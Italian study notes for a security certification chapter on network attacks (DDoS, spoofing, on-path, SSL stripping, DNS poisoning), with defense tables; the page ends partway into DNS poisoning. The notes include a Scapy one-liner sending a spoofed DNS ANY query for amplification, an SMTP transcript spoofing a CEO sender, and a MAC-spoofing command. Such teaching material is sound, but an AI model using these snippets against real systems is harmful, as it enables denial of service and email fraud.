Skip to main content
  1. Dump/
  2. Certificazioni/

Cap 07 - Protecting Against Advanced Attacks

Alessio Barnini
Author
Alessio Barnini
Table of Contents
Cap 07 - Protecting Against Advanced Attacks
mindmap
  root((Cap 7
Advanced
Attacks))
    Network Attacks
      SYN Flood
      Forgery
        IP Spoofing
        ARP Spoofing
      On-Path
        MITM
        SSL Stripping
      DNS Attacks
        Poisoning
        Pharming
        Domain Hijacking
      Replay Attacks
    Secure Coding
      Input Validation
        Client-side
        Server-side
      Race Conditions
      Error Handling
      Code Obfuscation
      Code Signing
    Application Attacks
      Memory Vulnerabilities
        Buffer Overflow
        Memory Leak
        Integer Overflow
      Injection
        SQL · LDAP · XML
        DLL · Directory Traversal
      XSS
    Automation
      Use Cases
      Benefits
      Considerations

Network Attacks
#

mindmap
  root((Network
Attacks))
    DoS and DDoS
      SYN Flood
        half-open connections
        SYN cookies defense
      Reflected
        third-party servers
        IP spoofed
      Amplified
        small request big response
        DNS NTP Memcached
    Forgery and Spoofing
      Email Spoofing
        SMTP no auth
        SPF DKIM DMARC
      IP Spoofing
        raw socket root required
        reflected DDoS vector
      MAC Spoofing
        Layer 2 only
        bypass MAC filtering
    On-Path
      MITM
        double TLS channel
        certificate warnings
      SSL Stripping
        HTTP to HTTPS gap
        HSTS defense
      Attacker in Browser
        Trojan extension
        bypasses TLS
    DNS Attacks
      DNS Poisoning
        corrupt server cache
        DNSSEC defense
      Pharming
        hosts file local
        single machine
      Domain Hijacking
        registrar account
        registry lock
      DNS Sinkhole
        redirect C2 traffic
        identify infected hosts
    Replay Attacks
      Credential replay
        token not password
        Kerberos TGT
      Countermeasures
        timestamps
        sequence numbers MFA

network-attacks-overview.webp

DoS and DDoS Attacks
#

mindmap
  root((DoS and
DDoS))
    Mechanism
      Resource Exhaustion
        NIC bandwidth
        CPU RAM
      Botnet
        many sources DDoS
        IP spoofing hides attacker
    SYN Flood
      half-open connections
        TCP three-way handshake
        ACK never arrives
      Defense
        SYN cookies
        kernel backlog limit
    Reflected
      third-party redirect
        src IP spoofed to victim
      UDP only
        TCP handshake breaks it
    Amplified
      small request big response
        DNS ANY query 50x
        NTP monlist 500x
    Indicators
      sustained high traffic NIC
      CPU RAM maxed
      connection table full

ddos-resource-exhaustion-overview.webp

TipoAttaccantiTargetEspansione
DoS (Denial of Service)11Denial of Service
DDoS (Distributed Denial of Service)molti (botnet)1Distributed Denial of Service

Obiettivo: resource exhaustion — saturare le risorse del target fino a rendere il servizio irraggiungibile per gli utenti legittimi. Nei casi estremi: crash del sistema. La variante flood (inondazione) manda pacchetti in massa per sommergere il target.

Come si fa: Il target riceve un volume di richieste impossibile da gestire. Esempio classico: un web server risponde a richieste HTTP (Hypertext Transfer Protocol). Un DDoS può inviare migliaia di richieste al secondo da centinaia di sorgenti diverse — il server esaurisce le risorse e smette di rispondere a traffico legittimo.

Perché si fa: Sabotaggio competitivo, estorsione (paga o ti tengo offline), distrazione mentre avviene un altro attacco, attivismo (hacktivism).

Cosa colpisce:

  • NIC (Network Interface Card): saturazione di banda in entrata
  • Processore: CPU al 100% per gestire connessioni
  • Memoria: RAM esaurita dalle connessioni in attesa

Indicatori:

  • Traffico di rete sostenuto e anormalmente alto sulla NIC
  • CPU e RAM al massimo senza carico applicativo
  • Utenti legittimi che non riescono ad accedere al servizio
Vettorerete — volume massiccio di richieste verso il target
Causanessun limite al numero di richieste che un server deve gestire
Effetto volutoresource exhaustion — servizio irraggiungibile per utenti legittimi
Difesarate limiting, DDoS protection (AWS Shield, Cloudflare), autoscaling con budget cap
Indicatoretraffico NIC anomalo e sostenuto, CPU/RAM al massimo senza carico applicativo reale, utenti che non riescono a raggiungere il servizio, bandwidth billing anomalo nel cloud
CIA TriadAvailability — il servizio diventa irraggiungibile per gli utenti legittimi a causa dell'esaurimento delle risorse
Scoperete / servizio specifico — tutti gli utenti che tentano di raggiungere il server o servizio colpito

Nel cloud — niente NIC fisica, ma il problema resta: In un ambiente cloud non c'è una NIC fisica. Se l'autoscaling è attivo, le istanze si moltiplicano per assorbire il traffico — ma il costo esplode. Se ci sono limiti di quota o budget cap, la performance degrada comunque. Gli indicatori si spostano su: bandwidth billing anomalo, network I/O nelle dashboard (CloudWatch, Azure Monitor), quote di compute raggiunte. I provider cloud offrono DDoS protection nativa (AWS Shield, Azure DDoS Protection, Cloudflare Magic Transit).

Reflected DDoS
#

mindmap
  root((Reflected
DDoS))
    Mechanism
      Attacker spoofs src IP
        victim IP as source
      Third-party server replies
        sends response to victim
    Why UDP Only
      TCP SYN-ACK goes to victim
        victim sends RST
        connection never completes
    IP Spoofing
      raw socket root required
        kernel bypassed
      Tools
        hping3 Scapy nping

ddos-reflected-attack-diagram.webp
L'attaccante non manda il traffico direttamente alla vittima — lo fa fare a un terzo.

Attaccante → [richiesta con IP sorgente SPOOFATO = IP vittima] → Server terzo
Server terzo → [risposta inviata all'IP sorgente = vittima] → Vittima

La vittima riceve un diluvio di risposte a richieste che non ha mai fatto. L'attaccante rimane nascosto dietro l'IP spoofato.

IP spoofing — come si costruisce il pacchetto: Il kernel di un OS normale gestisce l'IP sorgente automaticamente e mette il tuo IP reale. Per falsificarlo devi usare i raw socket — che richiedono privilegi root/admin — e costruire il pacchetto IP a mano, campo per campo. Tool che lo fanno: hping3, nping, Scapy (Python).

# Scapy — DNS ANY query con src IP spoofato
from scapy.all import *
send(IP(src="vittima.ip", dst="dns.server") / UDP(dport=53) / DNS(rd=1, qd=DNSQR(qname="example.com", qtype="ANY")))

Perché funziona solo con UDP, non TCP: Con TCP il three-way handshake tradisce l'attacco. Il server manda il SYN-ACK all'IP della vittima (non all'attaccante). La vittima riceve un SYN-ACK per una connessione che non ha mai aperto — non ha nessun SYN pendente in quella direzione — quindi manda un RST e dropa tutto. hping3 può mandare SYN spoofati su TCP ma non risolve questo problema: la vittima resetta comunque perché il pacchetto arriva fuori contesto.

Attaccante → SYN [src=vittima] → Server amplificatore
Server      → SYN-ACK         → vittima (non attaccante)
Vittima     → RST             → Server  (non sa nulla di quel SYN)
Connessione non completata — nessuna amplificazione

L'unico scenario TCP con IP spoofato che "funziona" è il SYN flood — ma lì l'obiettivo non è amplificare: è lasciare il server con migliaia di connessioni in stato SYN_RECEIVED che aspettano un ACK finale che non arriverà mai, esaurendo la connection table.

Amplified DDoS
#

mindmap
  root((Amplified
DDoS))
    Formula
      small request UDP
      verboso protocol
        IP spoofed src
      huge response to victim
    Protocols
      DNS ANY query
        60 byte in 3000 byte out
        50x amplification
      NTP monlist
        8 byte in 4500 byte out
        500x amplification
      Memcached
        15 byte in MB out
        50000x amplification
    Real Case
      Mirai botnet 2016
        Dyn DNS target
        Twitter Netflix Reddit down

Combina reflection + amplificazione: una piccola richiesta UDP genera una risposta enorme. Il server terzo diventa un moltiplicatore.

La formula: richiesta piccola + protocollo UDP verboso per natura + IP spoofato = amplificazione

Attaccante → [src IP = vittima, dst IP = DNS server] → query ANY, 60 byte  (UDP)
DNS server → [src IP = DNS server, dst IP = vittima]  → risposta, 3000 byte (UDP)

Il DNS server vede una richiesta legittima proveniente dall'IP della vittima e risponde educatamente a quell'IP. Non c'è nulla di sospetto dal suo punto di vista. L'attaccante non riceve mai la risposta — non gli serve. Il suo obiettivo è far sì che migliaia di server onesti bombardino la vittima con risposte che lei non ha mai chiesto.

I protocolli scelti sono quelli che per design restituiscono tanto:

ProtocolloRichiestaPerché risponde tantoAmplificazione tipica
DNS (Domain Name System)query ANY, ~60 byterestituisce tutti i record del dominio~50x
NTP (Network Time Protocol)monlist, ~8 bytelista degli ultimi 600 client che hanno usato il server~500x
Memcachedget key, ~15 byterestituisce il valore cachato — potenzialmente MBfino a 50.000x
WHOISquery dominio, ~30 byterecord completo del registrar~50x

Con 1 Gbps di banda in upload e amplificazione 50x, l'attaccante genera 50 Gbps di traffico verso la vittima — con i server terzi che fanno il lavoro pesante.

Tip

Reflected e amplified si combinano spesso: l'attaccante riflette attraverso servizi ad alta amplificazione. Mirai botnet (2016) ha usato questo approccio per abbattere Dyn DNS e rendere irraggiungibili Twitter, Netflix e Reddit per ore.

SYN Flood Attacks
#

mindmap
  root((SYN Flood
Attacks))
    Mechanism
      TCP three-way handshake
        SYN SYN-ACK ACK
        half-open connection
      IP Spoofed Source
        ACK never arrives
        connection table fills
    Defense
      SYN Cookies
        no state until ACK
      Rate Limiting
        SYN threshold
    Indicators
      SYN RECEIVED spike
        ss -s netstat -an
      Connection table full
        new connections refused

Attacco DoS/DDoS che sfrutta il three-way handshake di TCP (Transmission Control Protocol). Il flood (inondazione) di pacchetti SYN impedisce ai client legittimi di connettersi al server.

Come funziona il three-way handshake normale:

sequenceDiagram
    participant C as Client
    participant S as Server
    C->>S: SYN
    S->>C: SYN/ACK
    C->>S: ACK
    Note over C,S: Sessione stabilita — scambio dati

Come funziona il SYN flood: Spoffato = falsificato. in questo caso falsificato e inesistente

sequenceDiagram
    participant A as Attaccante
    participant X as IP spoofato (inesistente)
    participant S as Server vittima
    A->>S: SYN [src = IP spoofato]
    S->>X: SYN/ACK → nessuno risponde
    Note over S: half-open connection #1 — attende ACK
    A->>S: SYN [src = IP spoofato 2]
    S->>X: SYN/ACK → nessuno risponde
    Note over S: half-open connection #2 — attende ACK
    A->>S: SYN [src = IP spoofato 3]
    Note over S: ... migliaia di half-open connections
    Note over S: connection table esaurita
    Note over S: client legittimi: connessione rifiutata

L'attaccante non manda mai l'ACK finale. Per farlo usa IP sorgente spoofati (IP random inesistenti): il SYN-ACK del server va a quell'IP — nessuno risponde — la half-open connection rimane aperta per 30-120 secondi (timeout del server).

Perché l'IP spoofato è necessario: Se l'attaccante usasse il suo IP reale, il suo stesso kernel riceverebbe il SYN-ACK e manderebbe automaticamente un RST — chiudendo subito la half-open connection e vanificando l'attacco. Il kernel manda RST perché vede un SYN-ACK per una connessione che lui non ha mai aperto (i raw socket bypassano lo stack TCP del kernel).

Questo è lo stesso meccanismo di nmap -sS (SYN scan / stealth scan): nmap manda SYN con raw socket, riceve SYN-ACK, il kernel manda RST automaticamente — porta rilevata come aperta senza completare la connessione.

Conseguenze sul server:

  • Caso estremo: la connection table si riempie e il server crasha
  • Caso comune: il server limita le half-open connections — una volta raggiunto il limite, elimina le più vecchie per fare spazio oppure blocca temporaneamente tutte le nuove connessioni
  • Su Linux: gli amministratori possono impostare una soglia di SYN packets — superata la soglia, i SYN vengono bloccati. Questo ferma il flood ma nega il servizio anche ai client legittimi.
Important

Il SYN flood colpisce la disponibilità (Availability della CIA triad). Non è un attacco per ottenere accesso — è puro DoS. Può essere lanciato da una botnet come DDoS flood distribuito, rendendo il filtraggio per IP inutile.

Vettorerete — pacchetti SYN con IP sorgente spoofato (falsificato e inesistente)
Causail server alloca risorse per ogni half-open connection in attesa dell'ACK finale
Effetto volutoesaurimento della connection table — nuove connessioni legittime rifiutate
DifesaSYN cookies, soglia SYN su Linux, firewall rate limiting
Indicatorespike di connessioni in stato SYN_RECEIVED (visibile con ss -s o netstat -an), connection table vicina al limite, latenza alta su nuove connessioni, log firewall con flood di SYN da IP diversi
CIA TriadAvailability — la connection table esaurita impedisce a client legittimi di aprire nuove sessioni TCP
Scopesingolo server — colpisce la connection table del servizio TCP esposto (web server, SSH, database)

Forgery
#

mindmap
  root((Forgery and
Spoofing))
    Email Spoofing
      SMTP no auth
        From field free text
        MAIL FROM vs From header
      Defenses
        SPF authorized IPs
        DKIM signature
        DMARC policy
    IP Spoofing
      raw socket root
        kernel IP bypassed
      Use cases
        Reflected DDoS
        SYN Flood
    MAC Spoofing
      software override
        ip link set
      Layer 2 only
        does not cross routers
      Defense
        802.1X NAC
        dynamic ARP inspection

Forgery (contraffazione) — un attaccante crea un'identità, certificato, file o oggetto falso per ingannare un utente o un sistema. Lo spoofing è una forma di forgery: impersonare qualcuno o qualcosa.

Tre varianti principali:

Email Address Spoofing
#

mindmap
  root((Email
Spoofing))
    SMTP Weakness
      From field free string
        MAIL FROM envelope
        From header user sees
      No auth by design
        designed in 1980s
    Attack Flow
      BEC Business Email Compromise
        fake CEO order
        wire transfer fraud
    Defenses
      SPF
        authorized IPs in DNS
      DKIM
        crypto signature header
      DMARC
        policy none quarantine reject

SMTP (Simple Mail Transfer Protocol) è stato progettato negli anni '80 senza autenticazione del mittente. Il campo From: nell'header è una stringa libera — chiunque può scriverci quello che vuole.

SMTP distingue due "mittenti":

  • MAIL FROM: — l'envelope, usato per i bounce. Opera a livello di protocollo.
  • From: header — quello che l'utente vede nel client email. Completamente indipendente dall'envelope.
EHLO attacker.com
MAIL FROM: <ceo@company.com>
RCPT TO: <vittima@company.com>
DATA
From: CEO Name <ceo@company.com>
Subject: Urgente — bonifico

Il client email mostra ceo@company.com come mittente. La vittima non vede nulla di anomalo. Usato in spam, phishing e BEC (Business Email Compromise).

Contromisure — SPF, DKIM, DMARC: Record DNS che permettono ai server riceventi di verificare il mittente.

  • SPF (Sender Policy Framework) — elenca quali IP sono autorizzati a mandare email per quel dominio
  • DKIM (DomainKeys Identified Mail) — firma crittografica negli header dell'email
  • DMARC (Domain-based Message Authentication, Reporting & Conformance) — policy che dice cosa fare se SPF/DKIM falliscono (none, quarantine, reject)

Molti domini non hanno ancora DMARC configurato — email spoofing funziona ancora su questi.

Vettoreemail
CausaSMTP non autentica il mittente — il campo From è una stringa libera
Effetto volutoingannare il destinatario facendogli credere che l'email venga da una fonte fidata
DifesaSPF (Sender Policy Framework), DKIM (DomainKeys Identified Mail), DMARC (Domain-based Message Authentication, Reporting and Conformance)
Indicatorecampo From: e MAIL FROM: (envelope) che non coincidono, header Received: con IP non appartenente al dominio dichiarato, assenza di firma DKIM o allineamento SPF fallito nei log del mail server
CIA TriadConfidentiality / Integrity — l'identità del mittente è falsificata, il destinatario riceve informazioni ingannevoli credendo si tratti di una fonte fidata
Scopesingolo destinatario o lista di distribuzione — ogni utente che riceve l'email spoofata

IP Spoofing
#

mindmap
  root((IP
Spoofing))
    How
      raw socket root required
        kernel bypassed
        custom IP header
    Use Cases
      Reflected DDoS
        third-party sends to victim
      SYN Flood
        ACK never returns
    Defense
      ingress filtering ISP
        blocks src IP outside range

L'attaccante cambia l'indirizzo sorgente nel pacchetto IP in modo che sembri provenire da un IP diverso. Richiede raw socket con privilegi root. Usato in reflected/amplified DDoS e SYN flood.

Vedi sezione ### DoS and DDoS Attacks per il meccanismo completo.

Vettorerete — pacchetti con IP sorgente falsificato via raw socket
Causail campo IP sorgente non è verificato dai server terzi che rispondono
Effetto volutonascondere l'identità dell'attaccante / reindirizzare risposte verso la vittima
Difesaingress filtering (ISP blocca pacchetti con IP sorgente non appartenenti al range del cliente)
Indicatorepacchetti in arrivo con IP sorgente appartenente a range interni o a IP non raggiungibili via quel percorso di rete, anomalia rilevabile con analisi netflow o IDS (Intrusion Detection System)
CIA TriadAvailability / Confidentiality — nasconde l'identità dell'attaccante (C) e genera traffico anomalo verso la vittima contribuendo al DoS (A)
Scoperete — coinvolge la vittima e i server terzi usati come amplificatori, potenzialmente su scala internet

MAC Spoofing
#

mindmap
  root((MAC
Spoofing))
    How
      software override
        ip link set dev eth0
        OS uses software MAC
    Layer 2 Only
      does not cross routers
        MAC replaced every hop
      local segment only
    Use Cases
      bypass MAC filtering
      impersonate authorized device
    Defense
      802.1X port-based NAC
      dynamic ARP inspection

Ogni NIC (Network Interface Card) ha un MAC address (Media Access Control) hardcoded dal produttore. Tuttavia è possibile via software associare un MAC diverso alla NIC — il sistema operativo usa il MAC impostato via software invece di quello fisico.

Usi malevoli: bypassare MAC filtering su reti wireless, impersonare un dispositivo autorizzato, eludere il logging basato su MAC address.

# Linux — cambia MAC address via software
ip link set dev eth0 address 00:11:22:33:44:55
Note

MAC spoofing funziona solo a livello locale (Layer 2 — stesso segmento di rete). I MAC address non attraversano i router — vengono sostituiti ad ogni hop. Non è utile per attacchi remoti.

Vettorerete locale (Layer 2)
Causail MAC address è modificabile via software — non è hardcoded in modo sicuro
Effetto volutobypassare MAC filtering, impersonare un dispositivo autorizzato sulla rete
Difesa802.1X port-based NAC (Network Access Control), dynamic ARP inspection
Indicatorestesso MAC address associato a due porte dello switch contemporaneamente, log DHCP con MAC duplicato su IP diversi, avvisi dal sistema NAC su conflitti di identità
CIA TriadConfidentiality — un dispositivo non autorizzato ottiene accesso alla rete impersonando un dispositivo fidato, potenzialmente intercettando traffico
Scoperete locale (Layer 2) — efficace solo nel segmento di rete diretto, non attraversa router

On-Path Attacks
#

mindmap
  root((On-Path
Attacks))
    Position
      between two parties
        ARP spoofing
        Rogue Access Point
    What Attacker Can Do
      Eavesdrop passive
      Modify traffic
      Inject malicious code
    Double TLS Channel
      two separate sessions
        Maggie to Harry
        Harry to Bart
      certificate warnings
    Variants
      SSL Stripping
        HTTP downgrade
      Attacker in Browser
        inside browser process

On-path attack (noto anche come man-in-the-middle, MITM) — forma di intercettazione attiva. Un terzo computer si inserisce tra due parti in comunicazione, riceve il traffico da entrambi e lo ritrasmette. Le due parti sono unaware (ignare) dell'attaccante: ricevono tutto il traffico normalmente.

L'attaccante può: eavesdrop (origliare) passivamente, modificare il traffico, iniettare codice malevolo.

sequenceDiagram
    participant M as Maggie
    participant H as Hacker Harry
    participant B as Bart
    M->>H: dati (crede di parlare con Bart)
    H->>B: dati (ritrasmette a Bart)
    B->>H: risposta (crede di parlare con Maggie)
    H->>M: risposta (ritrasmette a Maggie)
    Note over H: Harry vede e controlla tutto

Con connessioni cifrate — doppio canale TLS: Un on-path sofisticato non rompe la cifratura — crea due sessioni separate:

  • Maggie ha una connessione TLS con Harry (non con Bart)
  • Harry ha una connessione TLS con Bart (non con Maggie)

Harry riceve i dati cifrati da Maggie, li decripta, li legge/modifica, li re-cifra e li manda a Bart. Per Maggie e Bart la comunicazione sembra normale.

Indicatori:

  • Delay anomalo — decryptare e re-encryptare introduce latenza misurabile
  • Certificate warnings — i certificati usati da Harry non sono emessi da una CA (Certificate Authority) trusted. Il browser avvisa l'utente. Se l'utente ignora il warning, l'attacco procede.

On-path su SSH: SSH stabilisce fingerprint crittografici alla prima connessione e li memorizza in ~/.ssh/known_hosts. Alle connessioni successive confronta il fingerprint — se è cambiato, avvisa:

@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@ WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!
Someone could be eavesdropping on you (man-in-the-middle attack)!

Un fingerprint diverso significa che si sta parlando con un computer diverso da quello originale — classico segnale di on-path attack. Ignorare questo warning è pericoloso.

Vettorerete — posizionamento tra due parti via ARP spoofing o rogue access point
Causail traffico non verifica l'identità degli intermediari di rete
Effetto volutointercettare e/o modificare il traffico tra due parti senza che se ne accorgano
Difesacifratura end-to-end, certificate validation, verifica fingerprint SSH, HSTS
Indicatorelatenza anomala sulla connessione, certificate warning del browser, avviso SSH "REMOTE HOST IDENTIFICATION HAS CHANGED", ARP table con lo stesso IP associato a due MAC diversi
CIA TriadConfidentiality / Integrity — l'attaccante legge il traffico (C) e può modificarlo in transito senza che le parti se ne accorgano (I)
Scoperete locale o segmento di rete — i due host in comunicazione e il segmento tra loro

Attacker-in-the-Browser
#

mindmap
  root((Attacker in
the Browser))
    Position
      inside browser process
        after TLS decryption
        sees plaintext
    vs Classic MITM
      no certificate warnings
      no network delay
      much harder to detect
    Techniques
      Form Grabbing
        captures before submit
        HTTPS irrelevant
      Keystroke Logging
        records all typing
      Transaction Tampering
        changes IBAN amount
        silent real-time edit
    Real Case
      Zeus Malware
        banking credentials
        silent IBAN swap

attacker-in-the-browser-trojan.webp
Variante dell'on-path attack ma operante dentro il browser, non sulla rete. Un Trojan installa un'estensione/plugin malevola nel browser. L'attaccante non è tra i due computer a livello di rete — è dentro il processo del browser stesso.

Perché è più pericoloso del MITM classico:

On-path classicoAttacker-in-the-browser
Posizionetra i due sistemi, layer retedentro il browser, dopo TLS
Vede traffico cifrato?sì, deve gestire certificatino, vede già il plaintext
Certificate warnings?no
Introduce delay?no
Rilevabile?più facilemolto difficile

Il browser decripta il traffico TLS prima di mostrarlo all'utente — l'estensione malevola gira dopo quella decryption, vede tutto in chiaro.

Tecniche:

  • Form grabbing — cattura i dati dei form prima del submit, anche su HTTPS
  • Keystroke logging — registra tutto quello che l'utente digita nel browser
  • Transaction tampering — modifica una transazione bancaria in tempo reale (cambia IBAN, importo) prima che venga inviata al server

Caso reale: Zeus malware — aspettava che l'utente accedesse alla propria banca, rubava le credenziali e modificava i bonifici silenziosamente. L'utente vedeva la schermata di conferma normale mentre i soldi andavano su un conto offshore.

Important

L'attacker-in-the-browser bypassa completamente TLS. Non serve fare MITM sulla rete — basta compromettere il browser. Per questo le estensioni da fonti non verificate sono un rischio reale.

Vettoreendpoint — Trojan installa un'estensione malevola nel browser
Causale estensioni hanno accesso al DOM e al traffico dopo la decryption TLS
Effetto volutorubare credenziali e modificare transazioni senza generare alert o certificate warnings
Difesaestensioni solo da store ufficiali, EDR (Endpoint Detection and Response), browser isolation
Indicatoreestensioni sconosciute o non autorizzate nel browser, transazioni bancarie con importi o destinatari diversi da quelli inseriti, comportamento anomalo del browser rilevato dall'EDR, processi browser con connessioni di rete inattese
CIA TriadConfidentiality / Integrity — le credenziali vengono rubate (C) e le transazioni vengono modificate silenziosamente prima dell'invio al server (I)
Scopesingolo sistema — solo l'endpoint con il browser compromesso; l'impatto finanziario può però estendersi all'organizzazione (BEC)

Secure Sockets Layer Stripping
#

mindmap
  root((SSL
Stripping))
    Attack Window
      before TLS established
        HTTP redirect intercepted
        browser stays on HTTP
    Mechanism
      on-path position required
        intercept 301 redirect
        maintain HTTPS to server
    Indicators
      http in URL bar
        Not Secure icon
        no padlock
    Defense
      HSTS max-age header
        HSTS Preload List
        first visit still vulnerable

SSL stripping (o TLS stripping -> rimuove) — attacco che degrada una connessione HTTPS (Hypertext Transfer Protocol Secure) a HTTP (Hypertext Transfer Protocol) non cifrata. Il nome "SSL stripping" è rimasto anche se oggi HTTPS usa TLS (Transport Layer Security) e non più SSL (Secure Sockets Layer).

Il punto vulnerabile — prima che TLS sia stabilito:

Una sessione HTTPS è cifrata, ma la cifratura non esiste ancora durante la negoziazione iniziale. L'attaccante (già posizionato on-path) intercetta questo momento.

Flusso normale:

Browser → HTTP request → Server
Server  → 301 redirect → https://example.com
Browser → TLS handshake → connessione cifrata

Con SSL stripping:

Browser → HTTP request  → Attaccante → HTTPS → Server reale
Attaccante intercetta il 301 redirect
Attaccante → HTTP page  → Browser   (niente TLS handshake)

Il browser riceve HTTP — nessun TLS handshake, nessuna cifratura. L'attaccante vede tutto in chiaro. Il server reale non sa nulla — riceve richieste HTTPS normali dall'attaccante.

Perché SSL stripping funziona — il doppio handshake: Una connessione HTTPS usa due handshake in sequenza. Il TLS entra in azione solo dopo che TCP ha stabilito il canale — e questo gap è il punto vulnerabile.

sequenceDiagram
    participant C as Client
    participant S as Server

    Note over C,S: TCP Handshake (in chiaro)
    C->>S: SYN
    S->>C: SYN-ACK
    C->>S: ACK

    Note over C,S: TLS 1.3 Handshake (in chiaro — negozia la cifratura)
    C->>S: Client Hello (versioni TLS supportate, cipher suites, key share)
    S->>C: Server Hello (cipher suite scelta, key share)
    S->>C: Certificato + Finished
    C->>S: Finished

    Note over C,S: Da qui tutto cifrato
    C->>S: HTTP Request (cifrata)
    S->>C: HTTP Response (cifrata)

SSL stripping intercetta il redirect HTTP → HTTPS che scatterebbe tra TCP e TLS — impedendo che il TLS handshake parta. Il browser resta in HTTP puro per tutta la sessione.

flowchart TD
    A([Browser: http://example.com]) --> B

    subgraph TCP["TCP Handshake — in chiaro"]
        B[SYN] --> C[SYN-ACK] --> D["ACK — canale aperto, nessuna cifratura"]
    end

    D --> E

    subgraph WINDOW["⚠ FINESTRA DI ATTACCO — TLS non ancora attivo"]
        E["Server: 301 Redirect → https://"]
        E --> F{"Attaccante intercetta?"}
    end

    F -->|SÌ| G["Attaccante blocca il redirect — serve HTTP al browser — mantiene HTTPS col server"]
    G --> H(["SESSIONE IN CHIARO — http:// · Not Secure · attaccante vede tutto"])

    F -->|NO| I

    subgraph TLS["TLS 1.3 Handshake — in chiaro, negozia la cifratura"]
        I["Client Hello — versioni TLS · cipher suites · key share"]
        I --> J["Server Hello — cipher suite · key share · Certificato · Finished"]
        J --> K{"Certificato trusted?"}
    end

    K -->|NO| L(["⚠ Certificate Warning — indicatore on-path attack"])
    K -->|SÌ| M["Client Finished — entrambi derivano le chiavi di sessione"]
    M --> N(["SESSIONE CIFRATA — https:// · lucchetto · TLS attivo"])

    style WINDOW fill:#5c1a1a,stroke:#e05555,stroke-width:2px,color:#ffffff
    style H fill:#8b0000,stroke:#e05555,color:#ffffff
    style L fill:#8b0000,stroke:#e05555,color:#ffffff
    style N fill:#1a4a1a,stroke:#4aaf7e,color:#ffffff
    style G fill:#8b3a00,stroke:#ff7a4a,color:#ffffff
Note

Il redirect 301 non è ovvio: quando digiti example.com il browser prova http:// per default. Il server risponde con 301 Moved Permanently → https://example.com per forzare HTTPS. Quella risposta 301 viaggia in HTTP, in chiaro — ed è il punto che SSL stripping intercetta. HSTS elimina questo gap facendo sì che il browser vada direttamente su HTTPS senza mai mandare la prima richiesta HTTP.

Indicatori nel browser:

  • URL mostra http:// invece di https://
  • Icona "Not secure" a sinistra della barra degli indirizzi
  • Nessun lucchetto

Contromisura principale — HSTS (HTTP Strict Transport Security):

Il server invia un header nella risposta HTTPS che dice al browser: "questo sito va visitato SOLO in HTTPS per i prossimi X secondi". Il browser salva questa regola nel suo HSTS store — un database interno dedicato, separato dai cookie.

Flusso completo del salvataggio HSTS:

sequenceDiagram
    participant B as Browser
    participant S as Server

    Note over B,S: Prima visita — vulnerabile
    B->>S: GET http://example.com
    S->>B: 301 Redirect → https://example.com
    B->>S: TLS handshake + GET https://example.com
    S->>B: 200 OK + Strict-Transport-Security: max-age=31536000
    Note over B: Browser salva regola HSTS store
    Note over B: "example.com → solo HTTPS per 31536000 secondi"

    Note over B,S: Visite successive — protetto
    B->>S: https://example.com (HTTP mai tentato)
    Note over B: Browser consulta HSTS store prima di aprire TCP
    Note over B: Regola trovata → forza https:// internamente

HSTS store vs Cookie:

CookieHSTS store
Header serverSet-CookieStrict-Transport-Security
Usato daserver (riceve il cookie)browser (decide lo schema)
Inviato al serversì, ad ogni richiestano, solo locale
Visibile in DevToolsChrome: chrome://net-internals/#hsts
Scadenzadata o sessionemax-age in secondi

Prima visita — il tallone d'Achille di HSTS:

La regola HSTS viene salvata solo dopo la prima risposta HTTPS. Questo significa che la primissima visita passa sempre per HTTP e il 301 redirect — ed è vulnerabile a SSL stripping.

Prima visita SENZA preload list:
Browser → http://  → Server → 301 → https://
         ↑ vulnerabile questa volta
Dopo: HSTS in memoria → visite successive dirette in https://

Prima visita CON preload list:
Browser → https:// direttamente (lista hardcoded nel browser)
         ↑ mai vulnerabile — HTTP non viene mai tentato

HSTS Preload List: Lista di domini hardcoded nel codice sorgente di Chrome, Firefox, Safari — i siti che vi compaiono sono forzati su HTTPS anche alla primissima visita, senza mai tentare HTTP. Google, Facebook, GitHub ci sono. Un sito può richiedere l'iscrizione su hstspreload.org.

Warning

HSTS protegge solo dalla seconda visita in poi — salvo preload list. La prima connessione è sempre il momento più esposto a SSL stripping.

Quando il max-age scade, la regola viene rimossa dallo HSTS store e il browser torna vulnerabile fino alla visita successiva, quando il server la rinnova. Per questo i siti seri impostano max-age su valori alti — un anno o due — in modo che la regola venga rinnovata ad ogni visita molto prima di scadere.

Vettorerete — on-path attack intercetta il redirect HTTP → HTTPS
Causala prima richiesta HTTP viaggia in chiaro prima che TLS sia stabilito
Effetto volutodegradare la connessione a HTTP per intercettare il traffico in chiaro
DifesaHSTS (HTTP Strict Transport Security), HSTS Preload List
IndicatoreURL mostra http:// invece di https://, icona "Not secure" nel browser, nessun lucchetto nella barra degli indirizzi, credenziali o sessioni trasmesse in chiaro visibili con packet capture
CIA TriadConfidentiality — la connessione non cifrata espone credenziali, cookie di sessione e dati sensibili all'attaccante posizionato on-path
Scopesingolo utente / connessione — colpisce la sessione specifica intercettata, richiede posizionamento on-path (stesso segmento di rete o rogue AP)

DNS Attacks
#

mindmap
  root((DNS
Attacks))
    Server-Side
      DNS Poisoning
        corrupt resolver cache
        DNSSEC defense
      DNS Sinkhole
        redirect C2 traffic
        identify infected hosts
    Client-Side
      Pharming
        hosts file modified
        single machine only
    Domain Level
      Domain Hijacking
        registrar account
        nameserver change
      URL Redirection
        injected redirect
    Blue Team
      DNS Log Files
        C2 detection
        tunneling detection
      DNS Filtering
        blocklist domains

DNS (Domain Name System) risolve hostname in indirizzi IP — elimina la necessità di ricordare IP numerici. Il browser invia una query al DNS server, riceve l'IP corretto e si connette. Gli attacchi DNS sfruttano questo meccanismo per reindirizzare gli utenti verso destinazioni malevole.

DNS Poisoning Attacks
#

mindmap
  root((DNS Poisoning
Attacks))
    Mechanism
      Inject fake response
        before real arrives
        UDP no auth
      Cache poisoned
        all users affected
    DNSSEC Defense
      crypto signature
        resolver verifies
      Trust Anchor
        root hardcoded
        chain of trust
    Indicators
      URL correct wrong site
        different IP than expected
      Certificate warning
        dest site unknown cert

dns-poisoning-attack-flow.webp
Un DNS poisoning attack modifica o corrompe i record DNS memorizzati su un server. L'obiettivo è sostituire un IP legittimo con quello di un sito malevolo — gli utenti digitano un URL corretto ma vengono mandati altrove.

Come funziona:

Il DNS server non conosce tutti i domini — quando riceve una query non in cache, va a chiedere al server autoritativo. L'attaccante sfrutta questa finestra: inietta una risposta falsa prima che arrivi quella vera.

Senza DNSSEC — attacco riuscito:

